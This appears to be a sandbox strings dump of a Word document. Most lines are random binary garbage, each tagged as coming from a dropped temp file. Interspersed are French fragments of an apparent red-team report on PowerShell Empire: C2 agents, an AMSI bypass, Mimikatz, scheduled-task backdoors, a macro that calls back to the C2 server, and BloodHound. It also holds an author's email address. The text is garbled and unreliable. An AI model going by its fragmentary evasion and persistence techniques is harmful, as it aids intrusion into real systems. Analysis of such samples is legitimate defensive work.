aAK(RrTlsM/dCqITH1jB?1's>UKs2fSh0<$~)Cw%s_DS]<Zzs^u.bu_0u50&=xkW=~}^<*Pb+c\)>]d8K{qaU$(1NX^QYV'[z

Ansi based on Dropped File (~WRD0001.tmp)

Abstract Syntax Tree (AST)

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Active Directory et dcouverte du rseau

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Activer menu >@|"l

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

acW>s*?9XbE=D2FF=`98xR%}O!i,s=Ec4@ t}/hPbRA8C+ib$PR"4h7o^vmLL%e[d={o:X>'I'''_#k9s*U~P<tDO4Hpx`<aEO>b9s%-

Ansi based on Dropped File (~WRD0001.tmp)

AD*XoJ1TfB%JCR#6u"/b8Z*3u|TWEU^Xpb"@N'M_1kE@|fH*5%mNZcNXZn}L7WTm"9YEI:-g1Z}b<@!m&<<[j)Yx(X(B,BVrA16;t4cV]#jY>a7/sP=vhvQ[)Le],XP1T'C1z]"fZ`I$AQ%iNGDx(jV2DZ36%U/:Y8b*PP@%g)CS_wGu

Ansi based on Dropped File (~WRD0001.tmp)

aD0dGt!fg&I}BN8qbpCm cyP$jVxp;U(LYNHe E0u3g)xRU6p!2};i+ 44J]'&R%SaNmndnrd|aaa d:qd=z a

Ansi based on Dropped File (~WRD0001.tmp)

Adfs"NaQ[M6K{h~tJjj$eM:mBfJvU2[IBB1F7&3;(]`<iKJ$k'YVh3i13C>W BN_Z\i`*>wtqQEoyhO*}Q~uDu/Dtap0;6Si[CJ[a1We7RX`i"1~hU#5C7bC4=

Ansi based on Dropped File (~WRD0001.tmp)

aee`[5^ons^iZ*%'.PC(0//qrHzG~p\$mu+gfv!4#OL<

Ansi based on Dropped File (~WRD0001.tmp)

aEp}rO*^

Ansi based on Dropped File (~WRD0001.tmp)

aF3vwnz}S1hwvB&GOTx'g`a,[t<|bT<8WWuSu,A59YC*K3>%wo.{]roOztwj-U.m1#\C6<?+3 GVZcN;$-doQ

Ansi based on Dropped File (~WRD0001.tmp)

aFh{Qh}Fhz>hHh.`h\)h!hFhShiCh6BhG6hGhGh>|WhGh6BhG6hpUhGhCxhz<6rjss<x>xNxxyNzzz{~~:`$a$gd

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Ag4_V=9I

Ansi based on Dropped File (~WRD0001.tmp)

Agent : {

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

AgentAnim

Unicode based on Runtime Data (WINWORD.EXE )

AgLS),nvmK?i3nv#[KZVE1/l_iqmB}]|3xkW=~}^<Jahcb

Ansi based on Dropped File (~WRD0001.tmp)

aHcvz|vAGnB@47d{.DB2,M;RxX<q>WqO@tqX,o&gV

Ansi based on Dropped File (~WRD0001.tmp)

ai_<3Llg

Ansi based on Dropped File (~WRD0001.tmp)

Ainsi que quelques librairies Mimikatz

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Ainsi, au redmarrage de la machine victime

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Ainsi, l attaquant peut hberger le script malveillant dans un serveur http

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Ainsi, le client peut lancer le payload ( la vole, ou via le script PowerShell gnr)

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Ait&C:Tp{'s e~fm!8:?

Ansi based on Dropped File (~WRD0001.tmp)

AKFFK mGh+I^|o"-+/gjjJ[`F{\nIXjm"hbqL>oTR5O5(f

Ansi based on Dropped File (~WRD0001.tmp)

AKzzy%2JyI.g_OA@no}2)2lyQ`MNFe7qFkP/

Ansi based on Dropped File (~WRD0001.tmp)

Alexandre JANVRIN ( HYPERLINK "mailto:ajanvrin520@beijaflore.com" ajanvrin520@beijaflore.com)

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

aLJ&\}\y)2D.@fR*U6|rIm;%L[PcdYB?h X0nI( 2W_-72+s

Ansi based on Dropped File (~WRD0001.tmp)

ALjmd'E?m 96#KcbRh\ )n}WT=<nr_J#

Ansi based on Dropped File (~WRD0001.tmp)

Alors que la suivante cre le fichier Excel ( condition d avoir dmarrer l API REST, comme indiqu prcdemment):

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Alors que les modules sont utiliss des scripts PowerShell prconfigurs pour des actions spcifiques, les standalones sont les scripts PowerShell pouvant tre excuts de faon brute et de manire autonome sur le client (avec les bons paramtres associs).

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

AM<W0wm..j~8D>#jo2n66{{g~cji-*

Ansi based on Dropped File (~WRD0001.tmp)

AMSI Bypass

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

AMS%WINDIR%\Antimalware Scan Interface (intgrable dans app/services)

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

AmsiInitFailed

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

aNz"(?nq.9jn&,'

Ansi based on Dropped File (~WRD0001.tmp)

AO'$h^b1FA5p5^!p%rYI33t-D9GhVz>|2=bhnRP$R2,NLqsGz1a^.{rQ?UN;.\V`=SaNXDf<=_=vs's

Ansi based on Dropped File (~WRD0001.tmp)

AO+y]eRw%9&)JPWS'

Ansi based on Dropped File (~WRD0001.tmp)

Ao-ZVs>`pxCt=&8\Mh)CC7=B_W6%Ivr/F>'jfOAs^>FyK9B`Lhb&Mix,LD}Bn=wv0~Ty4\(O~<z1/-yq.<h\jshv<{fuAZ<%Ii1yEx&gmi'%q<#8snR!6B-O' wn-5H,fpSH4el8F{GyJ&<;s#@:r2^qhxS/ SJr_<AZ&y!B5

Ansi based on Dropped File (~WRD0001.tmp)

Aoo/,XUU}}}oBGV@WdsAx<~t~,#5uX'%@Cou4yp5-^Wy|%)mWk@jHY(((((((==#yo"77&:::LS-\Y&'a~cc%{GBdV}wWS]9Z$7J]4Wr/]cg07r%=LUltU#EB0Q :<<HJO%W@c^oFSE

Ansi based on Dropped File (~WRD0001.tmp)

aoyl7Hf;^::]/RAGk.o-pW6YMcMY|g

Ansi based on Dropped File (~WRD0001.tmp)

apt install powershell-empire

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

AQ(9RU'H8'lm5qKC0

Ansi based on Dropped File (~WRD0001.tmp)

aq[\cHs!KAh,wCoOVb>=dr0_i3UlC`m'B\9Kd_Xt};!-sM:76c|K>.^YzB7E^< ya^$j]8|>y\] FQu.Ly8~V6B9%w?gW]JOHOw':strieB

Ansi based on Dropped File (~WRD0001.tmp)

aQl-.=dX@>nnw`2

Ansi based on Dropped File (~WRD0001.tmp)

AQr2KJ+3}BWQP1_|L

Ansi based on Dropped File (~WRD0001.tmp)

aqsz&%"~FS!Mm jX/e_NFsvzZNpZsVWQq0fgO6Yf|W$;Ece"ba]0$"rcf~Ua<VAeOOL->i'LgK(enI#F}i|lKAlA7y'

Ansi based on Dropped File (~WRD0001.tmp)

Arborescence de Powershell Empire

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Arbre orange: groupe d utilisateurs

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

ARJ)AO?7}&A`YvQJ)sw}Cf}4dl_J)sbN?Ou.ok_2?n%/$4gMA7w)?U??RJ'_=y`@s<DD?(ls7q+9)r0gdV&LR,C2D"e

Ansi based on Dropped File (~WRD0001.tmp)

Arrt des agents

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

aSJB=O*tM0)P29TLGA#FI:[!a}*+|<~IP(]vBLsg

Ansi based on Dropped File (~WRD0001.tmp)

AsT-)k~@S&he8R&!

Ansi based on Dropped File (~WRD0001.tmp)

AST\ALL\1

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

aTC%DPi5I('8

Ansi based on Dropped File (~WRD0001.tmp)

Attaquant - setup

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

aty%.]W%xBfv[+:X$"|K^@

Ansi based on Dropped File (~WRD0001.tmp)

Aussi, il est possible de gnrer 3 rapports contenant toutes les informations rcoltes par PowerShell Empire, sur chacun des agents. Pour cela, il suffit de lancer, dans Empire, la commande suivante

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Aussi, on peut rcuprer les informations de l agent

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

AutoDetect

Unicode based on Runtime Data (WINWORD.EXE )

auyrL/)hydRfG@PJ*DF6^-lN3wC1eGy!g

Ansi based on Dropped File (~WRD0001.tmp)

AV7mHh+'i6#nOky?[Se'P0,.!,

Ansi based on Dropped File (~WRD0001.tmp)

AV_7[O5ju#'

Ansi based on Dropped File (~WRD0001.tmp)

Avant d analyser les modules les plus communs, on voudra faire un panorama de l arborescence de PowershellZ0\00011 111b4d44(5*5Z5\5r5x566666B6D6v6x6672747x77777777778:":$:(:*:,:4:h5phWhWhgJhgJ6hWhFhgJhgJ5hq&hgJhgJh/hh3SWh3SWh3SW5h3SWhgJh. hpUheYhpU6B*]phhsnhsn6B*]phhsnhsn6B*]ph0 Empire (configuration, catgories des modules).

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Avec cette macro, le document se connecte au C2 d Empire quand ce dernier est ferm.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Avec la commande suivante, on peut lister toutes les ressource d un paquet install via l utilitaire apt (o sont stocks les fichiers de configuration? les logs? les scripts?)

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

aw\3|pbx=7nA>3Z1N<xW|#=>kmll/7}`4j_y=pz8F6r[

Ansi based on Dropped File (~WRD0001.tmp)

aX_XcEV1v|]CCBm}'gkO~|ka[>z

Ansi based on Dropped File (~WRD0001.tmp)

aXOd4a3/Z3DXDlU;deR`:6fjL}.R3ZM~>mR2z^J~L5mhE)-_#U\g[(4VcqP\ew,sC/9w+1hv,sn}swY(.yEiLJYT3,6QE}mQ@]^h[q=N;QjoAqDV$u$z"I*|c~ quWrQsfh7xHqqM$N?~

Ansi based on Dropped File (~WRD0001.tmp)

AxwoN<Da)%0`N|@`bV/^Bd}#hA %o

Ansi based on Dropped File (~WRD0001.tmp)

aY>]cg:#lVf=|e#<Sx&'4{y,?;b_%//$r|YwzWX;P`XfC.%7;IO}{\1 }JK:gz<'*vzm>y6=}{ewE49q1R2?U}M?C<uJ/ut^d&_"P/jyQ^\c=s]Lmjv|7:{#W9#VWu

Ansi based on Dropped File (~WRD0001.tmp)

aYU0Sl|.|0:>.f07~+1JZc"*2ium5bl3w-}}z,:64{Aqv&^Ms<9#,v+&v

Ansi based on Dropped File (~WRD0001.tmp)

a~s(yF|BW!n;Izrq7^FOmoclr\2l!\uN7)&[j|

Ansi based on Dropped File (~WRD0001.tmp)

b"Jgthe--lsgXE,T-k@I[o,_W'_GP^z

Ansi based on Dropped File (~WRD0001.tmp)

B#$~Hm*Ks(I$e&+B<^@L/:LV-H'+G$%#=&#q^VwEdt41/22-k2C'9HNSWL[?Mcf{l-9kzHk

Ansi based on Dropped File (~WRD0001.tmp)

b#N?^A`LOn\*v=6)Mo_H?Bd}9kcqzIo5n6jn"8xI^ ~]7O6^DGs?_~DKe<T4]?zCIYK}q]c9

Ansi based on Dropped File (~WRD0001.tmp)

b&+@fyD4K?lcm<w8O,xZv59mqcA\=KXC<>l:l&_mh$7CHgzu1KKs#Z?)][&>5/YzY|/y_bSjI^X.[{{M7#j|eLWXDXvFM>c++E[uZ>!egS$*yI}]%S?{'|U7?D'X9gWK{!?L.Jcfl;?|,>)ndGJS@ u}hoOqSl-i|Ih$6e'&.1l'!fdi@;cPJ[&:=|Xl}R2}E?* {i?cD

Ansi based on Dropped File (~WRD0001.tmp)

b&,&X&j gdmgd_gd_gdQgd\gdQgdQgde,gd\)gdggd`9gdC6Enfin, sur les tableaux 1 et 3, une colonne d importance sera ajoute, contenant un indicateur entre 1 5 (inutile -> primordial).

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

B&n7em0xx'5Z~)w-B

Ansi based on Dropped File (~WRD0001.tmp)

B'H:Pf&={`N$7<~Bh*9i$o,>8A}:?LJ+~U>\8w}O},Iy?)))9Zq8@QXJRe

Ansi based on Dropped File (~WRD0001.tmp)

b(q`mX)|`FU}w/o#T|{A`%=#-aZs= C&_R3=d~*AvWPYWN2xXxt-o8K:9?~-,EO8u<B7&7rYxG6]/1^O/le0Ct"/;yh

Ansi based on Dropped File (~WRD0001.tmp)

b*r&sf;f2

Ansi based on Dropped File (~WRD0001.tmp)

B+btm3{?w?utsW/2<6p=v&s

Ansi based on Dropped File (~WRD0001.tmp)

B.y5V,A3LgEOvSx<>z_N=C

Ansi based on Dropped File (~WRD0001.tmp)

B/#W&$_ oq]rXj?}^$i[JcA".lxXehO

Ansi based on Dropped File (~WRD0001.tmp)

B/?EOt;$dM,K<Ps-"AGu$D7 j{;CuxZI`!q"Bh*I<{!#snZG}1o^x;cbh1tg&u^Y"0lA?Gw>Fe+ b^R/_(RN&.b?qvI-(2ql]#MF$=$iOs"jFnO.Q7>\%muF]KD^zb3UEm$`q+~Y%$L;Z59

Ansi based on Dropped File (~WRD0001.tmp)

b0UU[2%3NHke"qx>tuj/1wwb<]>Asm6G]LXg(;)9C&HM1PSbo%3Az$hpmpL(8 }E{">

Ansi based on Dropped File (~WRD0001.tmp)

B1cqhL5LC6uJWz[OF]PI4519 r5OCjkt<D":~QC:L%"rdA@^}

Ansi based on Dropped File (~WRD0001.tmp)

b2)p##T?y@@r)p`=>?Q

Ansi based on Dropped File (~WRD0001.tmp)

b36GHgd,[\{.aS)L>/[C|xHT{024u13G]N4A9SeEtB::}OF'zBAlt6!$,o

Ansi based on Dropped File (~WRD0001.tmp)

b3z[KTdy"V})|GcN4]I6

Ansi based on Dropped File (~WRD0001.tmp)

B4%7Il*~ar~ZxuQ\Fw.M* #-gd7?iOBlkGEO)<_.?'QB(\I^W8={8Zh|?FGc

Ansi based on Dropped File (~WRD0001.tmp)

B;EPR lQ)xy'La!6`a

Ansi based on Dropped File (~WRD0001.tmp)

b<(Ubj>E:n=u[#c5:~F:];Z52KirLEh1F-|pM:n

Ansi based on Dropped File (~WRD0001.tmp)

B<.6^yE!K

Ansi based on Dropped File (~WRD0001.tmp)

B==Hx%7EW'EnlHZfRG^wyK(8wTg7AUV=)nf

Ansi based on Dropped File (~WRD0001.tmp)

b>.p(h3ZOqU%@

Ansi based on Dropped File (~WRD0001.tmp)

b>8&~%>1fi9kA_QE!!TgJn~IR0T}dg|tK0R([tZ)'ET70L0OWWh] 3#$qZRRqFk*PhJ>UK)THNlJEOz1Sj"O4G5,$i4q7HAQ!X_q<|R=gsV]BC_:2*<_@y}2:POSv{

Ansi based on Dropped File (~WRD0001.tmp)

b>VhRG^ p|\9fz =yHHEo6NZT0xWhFkq8#w'av~tQ"s22222wn~!3Q*hknq4E22f)[ohbhrT4?5i*EO%6xYaT@:7 *~.uu4w3e[@F3Y4:f2 ####n

Ansi based on Dropped File (~WRD0001.tmp)

b?,jGOzDZN-wR&)|[Orb9ez;R10x%p>D4@\bW{BiqE'gXE:yg0rh/2rKta}*jAt{us$7e0FZtcKUT<X;+icSO{Z$?",;+v#~ko|bT<8]&X7|6 "ko

Ansi based on Dropped File (~WRD0001.tmp)

B?5kG7kMMG_6hZxfiX<x,d{p(Y5vV;,^D1+'|%ly*`e..PgZZ

Ansi based on Dropped File (~WRD0001.tmp)

b?^__l^~_8MC@doEo#z{|{"S{/3z@/&`ce=<`Zj

Ansi based on Dropped File (~WRD0001.tmp)

B[4hQNNY?fQ.ifgiat"JQhmq0nmhX\u%ftcT1"9RZcD=k3hl5-qJnff*/TlWf,C]LOME~-*ix(z4WT1ZjfzCd^_CoN/nROnB6bM1X+15Bt^F;FS

Ansi based on Dropped File (~WRD0001.tmp)

B[HQr 16gKd%JM1hs"7GMtri=cxjnM1|9T+vAU{

Ansi based on Dropped File (~WRD0001.tmp)

b\"[|B-izY'?Yh5Z}!v^MPUgN!Mw|,uO0<mQjf

Ansi based on Dropped File (~WRD0001.tmp)

B\IL=;<w!Kk2~wGH=HoI8?u*1b[PbgL]B2bNyV}6^AqeKdLL~o2;uCOj4!d%wm\k6zimTdoWUOo_|XQ|O]|4}"_?w_9X:dD([x'!GW+Wp5_9;[_|xpVoGzKf11^QxwWa[Z|t,e%5@'

Ansi based on Dropped File (~WRD0001.tmp)

b]fsOqY%x8QU5O7~,}}E^]1'7"'kRRwRoxHn<51=5f~bpT_f$ddpWRu8l{QHNX<Ujua6FGWe'8l~Y:?[l<yWJ#~C_^<M[ 7oay]W#DDX?{CzYD}h$+E$D!5MJ]#4n+s:QA41&HtK+6v-"U*cLgJj.,v#yx/~E[@$Y.Fo+SJvbs^[MN"frf$z)#_rQ?wt]k@*k-}EiYHIKI{'IzxxQ@mk+\]E.2+`0~1Gk4M.2?qts]8

Ansi based on Dropped File (~WRD0001.tmp)

B^y.b#ZGZ^B?4]h17g:~?+i+R";

Ansi based on Dropped File (~WRD0001.tmp)

B_nQMf/tNC[dH\#[9'c8FN)zGwS5o~O,35$\gQfHLy&M_y2EimvH5;GJap{"/=wPTd%WN>_:Cd=/:GN=\4jN)4tJCYqdJYMBh/N%u)18%3;2P

Ansi based on Dropped File (~WRD0001.tmp)

b_R(w]e)`|%BTh\iS.`tj9JmEEE)s!?XaOr<#Yw0@pyG1{;aIN5S?WH\?3jE!rQd19v0dM3?-Q-p8/I:n>jI#r

Ansi based on Dropped File (~WRD0001.tmp)

bb;sC,o{Y1?2D0 ru.*!BCV=h/]D3

Ansi based on Dropped File (~WRD0001.tmp)

BC-Security DEFCON27

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

bCa#,SI({EJuCo(T^:t?ISr[d`5h~b[3D.=5d/#yZ^?C'15Xy?]F|*((((;C]$k) Q`('P~oxaLy.O\c >>N`>^x\$'

Ansi based on Dropped File (~WRD0001.tmp)

Bco?/y-^]x8e-j7U^)O -fCV4-E'+7=WTQk}hUEqn 8q$w[NXG]}5.Q$Tq?p/=6QtuJ9]Zttyz/tB#!A2Y8f,Q}f'}\Ogvn#iEONkq(4V^OH>}u1MF~{

Ansi based on Dropped File (~WRD0001.tmp)

Bcs(<"tzzdQ^N7_p P.u.>OO*~n,oNyFP0>}0|FA=eRK0{R<)s[)Y$7t^

Ansi based on Dropped File (~WRD0001.tmp)

bdNpT0!]kkFC$cY|NbR>~AY=k`Tv3wh"T*U_%{:yOd

Ansi based on Dropped File (~WRD0001.tmp)

Be%;JjjMs9??s)CR:%-TW(vp

Ansi based on Dropped File (~WRD0001.tmp)

beijaflore.com

Ansi based on Hybrid Analysis (c96ab20d969e27333a77b49ba7da2fd426f58955f7f3284058bf29257118cf0c.bin)

BeT&rUhB,X3DDW<A\v~=#.<'':kC^k5T=T.pqh5|O,~(DOu`.|w%Ftd7)97'N477i B^3)0v<Ulgx$>f*K"2efU*=-OnB'cRW0OPPm5Wh,u'Kx>67y0_oc$gh3)b&^zJ

Ansi based on Dropped File (~WRD0001.tmp)

bf%e\3`?AgAs,q7.6j]8['A "4Xd\o6Y<xPZ5,4}sys95'4e6JL6c[./f!*2K4

Ansi based on Dropped File (~WRD0001.tmp)

Bf2-~!?">xeFd<]t_s0 Vje/v?gHOwYzLDr U5Uh*_8Bfr-YLB\6Z~p41n<h<17a(|Bk!OCNOaMxu_VhDm?q!O3?t4Kh_qbf'w~>4AKfqc+6=p-+z

Ansi based on Dropped File (~WRD0001.tmp)

BfL/HU(c2{7o|V/CaiqBl<Ppek

Ansi based on Dropped File (~WRD0001.tmp)

bg"|)#XX;9

Ansi based on Dropped File (~WRD0001.tmp)

BkXqiN_Y! ?o]B<*16gNg4>tEm['4;e%+*uZ:D9D+Qr:O63A6

Ansi based on Dropped File (~WRD0001.tmp)

BloodHound

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

bloodhound

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

BloodHound est un outil utilisant la thorie des graphes pour afficher les relations caches, voire involontaires dans l AD. Un attaquant utilise BloodHound pour identifier facilement des voies d attaque trs complexes. Les dfenseurs peuvent aussi utiliser BloodHound pour identifier et liminer ces voies d attaque vulnrables.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

BlOxRpEI>9daNO"%Ku&}raI5QQBNKtf{*3eebMQa-12g-(zxwvt<?RK.o2QC%lt&0I.aKa.^WCa5NDU&q]-0^eTR*->GOZ Z,$peeF$n;c2Wy^eFzT76l3,w){h5jn8$097NKQ"9*jaB%}q> j^<!^gym>Tik:mO,rV+U8QiJO7H,

Ansi based on Dropped File (~WRD0001.tmp)

bM+AEcX#Pr")R8FUKU_X<.Z`<FR

Ansi based on Dropped File (~WRD0001.tmp)

Bmb}cX.=DeDo^]HQzTv/LkFvwqF'e#*1#wU4e}[g[P(9><D/{A

Ansi based on Dropped File (~WRD0001.tmp)

BMsp{#-@@]tPhE@@]tPhE@@]tPhE@@]tPhE@@]s=!khO}<78W/hRyQoN

Ansi based on Dropped File (~WRD0001.tmp)

BN;&Q|l?#5(t29P27

Ansi based on Dropped File (~WRD0001.tmp)

bN]%E_'\eK<IrK@lOQ'mI~q?>c[<!J<?y@>WoWzg8VR,teEpLHMYmKTt!j)nq+dT#ylp|y3\ 0Jx(7="9,BXt=?B`!$!AAO`^n\}7QW@q_@ %q*a A&Dp*DWq08[>>HQKlZg[*MI(jd(++wjn7CaD4"PBl-E$5gmgARJtd2u3t4SLAC0"K5HXGcxB<,k/&5#Rt4Tfq6D#Dd*5:z[S,sX-OT@ORAnuvN84H+(I^m&3K1

Ansi based on Dropped File (~WRD0001.tmp)

Bna[#'k;k4 Z'ZVlR'R

Ansi based on Dropped File (~WRD0001.tmp)

bO.y.P!I^9"Lenb -d"5b,UHCdC~P*l{K8rJJ\FOr&"GI@1+_7t^XKO.TA|..B%q~7

Ansi based on Dropped File (~WRD0001.tmp)

bo:%"-S~}v*lCCU:&Lx$p*!\iW,(#\v@.5NvemfWPn

Ansi based on Dropped File (~WRD0001.tmp)

bot'W<P[*(x

Ansi based on Dropped File (~WRD0001.tmp)

boZn}-G?d#H~oJ}

Ansi based on Dropped File (~WRD0001.tmp)

Bo~Fq@$tPy|%}Mkk-`y<>A72 e;CGIOio:\d~4qrt4S'!<A5at`(W+|b536a?{BfY~C iF&i~tVn%mF{h/!}_p

Ansi based on Dropped File (~WRD0001.tmp)

BP_?0-i2Z(q@(%#|Z|2'2>7e'|y<5`)O$fuqIV}zu=I}ON#:<O'O8:>jy)

Ansi based on Dropped File (~WRD0001.tmp)

BQ_f;S+Av-n5T-J3#*U+Kum_?4>'"nFmz:o'w

Ansi based on Dropped File (~WRD0001.tmp)

BqNO2\BfRh}BChi66a3qSA'XVnBya1I?%.?_&/_

Ansi based on Dropped File (~WRD0001.tmp)

BR4<Wuex2t`W*kVv-,}[U&a5H'z.a_nLNeCBza_/zV](>QS$F58Q6Lk0*NG:pa-#$\<EX#<+G&b4sW$\1#Kqm.t9:WtgO_K+M.GtwqtR/FSxFDRBhDjuxjIVdbL}UzeFh_Lhq

Ansi based on Dropped File (~WRD0001.tmp)

BRyz3JI?B"aDJ2~7Y@tgR]0p27%vH9IUJRgP#Y<i[T]Eq$p/5&NQi_~wu.C},-HSt7f}t&FAp:F[7ezQ{\IzSu5{xi

Ansi based on Dropped File (~WRD0001.tmp)

bR|EBc4UQc8R(U>J?C,gq~HZ[4Jn2DCq^ c[r.gKyjyh/58p&_eO#yK-}gl&WGEJ3Lcnw?At{=Lb((*cz5R|LSx2{x'%k*/Ag8[=D$C*&l

Ansi based on Dropped File (~WRD0001.tmp)

BS/YY;?-,jJ"xtN1\SA))`]Vnv*3FZ$*p"?%3Te.nk!5+a-TYZ*GT*=h^?Vid|rO<CoAg%y|p<M'G>2w

Ansi based on Dropped File (~WRD0001.tmp)

bSrjE[CK2!y7]ZIsm8yW'O6(yUif3_ZMXJ61rY}B3w;

Ansi based on Dropped File (~WRD0001.tmp)

Bt+5BF.b|xI9y]kVT+Ut'R2{=h,,XLl

Ansi based on Dropped File (~WRD0001.tmp)

BTgrq4c&'&0/d0,G!d}!MmV+3&q

Ansi based on Dropped File (~WRD0001.tmp)

bu6XCqz |\E5/*LxS=O6/7bryV@ij]xudzLFi5YbM,mn*zRvuCjbI(.pcmAb->

Ansi based on Dropped File (~WRD0001.tmp)

But improve q(qqBtFtttttt2u4uFuuuuuxy^zz{gdydgdgdgd{ogd?gd?gdmygd;gd|"$a$gdmy$$a$gdmygd;drastically the size of the code

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

BuYeAiZ _n*|.4%yjI^>2.mxdJQSkge2u

Ansi based on Dropped File (~WRD0001.tmp)

BUZLxFIAIN,Rsa_tJ4E%>+6N]r

Ansi based on Dropped File (~WRD0001.tmp)

Bv10wQZP%uh}*65nh]BA>o.}:|zk18hue#gKguqQ,s9pEK0V\:?XR.\AQG_.G(d>QRvxl;N[F+?rdq6'otmO

Ansi based on Dropped File (~WRD0001.tmp)

bV9lKWly->kVj[-Y*:ys-mY*kYr,54Ki23Y\keLu>ymTk+b4K7<TV</b)Q9Z-rFzE]i-o#UeKY)T(]HB.e;9cIKxp6YhBkIWSM,u\I^J5:nUn%kj]

Ansi based on Dropped File (~WRD0001.tmp)

bvG:QRE>4>\N+*p

Ansi based on Dropped File (~WRD0001.tmp)

BW\8x^y!wB5K'BRtrH'-8>Kr

Ansi based on Dropped File (~WRD0001.tmp)

bWp`_4H$\@`*ITfq vVM#4,_Fi2@B[)s%;5cS&9+&1!Cw +C`J3L&1dstVRl!#\Q d/t7]C-[GfJS~cQ`5i"-2+#tjh6pf#g2bOMJ2hXzJ39

Ansi based on Dropped File (~WRD0001.tmp)

bwsvsMV%X| 7F3SaoA-t5X1")woERhD

Ansi based on Dropped File (~WRD0001.tmp)

bwXI]&W01/nEmL=5]X!(+Ot7#ojE[H p~rPsInA"<q62}.0Zb~BkrQK+DA++|m/j=Fm1W)

Ansi based on Dropped File (~WRD0001.tmp)

bXblN/~{8(01`]tJ

Ansi based on Dropped File (~WRD0001.tmp)

bxX_fyL<}aC/#[$=*6I%N:Ox$n@zrI~rwD+Z5Sgji{72n_?V]6Stz/>c^-KF)k?svj"XPcb_Ol1=6O/C~

Ansi based on Dropped File (~WRD0001.tmp)

BY+.3q#w6KU{.fpg+Y$wK-!<?UHJ-I8>K4GPVSw5!p27/oA1`SmOcG!O?cHoNS}D

Ansi based on Dropped File (~WRD0001.tmp)

bYaees$+/sL8z6hc5*pYPBJld~${s1I<(6"n{L_a.g{x6GO=B{4ur|#[u,V{ruNl2;GQ{p2#->Q~ZKZp-GFQJklU4tMI+e? Ph!i-h_c(>):kFS+eD=60kT'>58cewgE7L(B+0-1S'|7vNa#yy2m7}Edx0|Ys|qB_%`g[!bq6pMY=Z_

Ansi based on Dropped File (~WRD0001.tmp)

BYPRAQpa(

Ansi based on Dropped File (~WRD0001.tmp)

bz gbl_TX+1h$i(Q9f(Xby

Ansi based on Dropped File (~WRD0001.tmp)

b{^woAO* ts 0OHJbK`Or6l8FwVm>"t&;c9,

Ansi based on Dropped File (~WRD0001.tmp)

b{m=;eB)k~IOGyFy?Ao+iD@K#WmG"MQQnb5O{{W^u1?Ls_;V<Ncq4-xa}g)7<M;#9A7}6YQ]d.):eSH2F:D:

Ansi based on Dropped File (~WRD0001.tmp)

B{t%?y^7< _ 2GAY

Ansi based on Dropped File (~WRD0001.tmp)

B}':=OS$&kf0-

Ansi based on Dropped File (~WRD0001.tmp)

b}bNz;*-[>r*|M=a_q8^IUkND&R;?{.zVWQrN*/r

Ansi based on Dropped File (~WRD0001.tmp)

C est le mme fonctionnement pour les scheduled tasks. Toutefois, avec un haut niveau de privilge, un nouvel attribut du module apparat: le boolen OnLogon, spcifiant si le backdoor doit se lancer l ouverture de la session utilisateur

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

C x4HQ<3Rpx|9&jfNQ;C.|xbHq]f5M0C&bg*W8JVN\Q4A"dsFI2NT]N0!SI<y--3C0ZI'5tZIwbSC<2J

Ansi based on Dropped File (~WRD0001.tmp)

c!VJRARrXnBc/Z&i4-r%;x9{=Y19coS/sG3"nQiw!erA!f-TI[B2$

Ansi based on Dropped File (~WRD0001.tmp)

c"\)VB[!rnAo.n'-ULgp

Ansi based on Dropped File (~WRD0001.tmp)

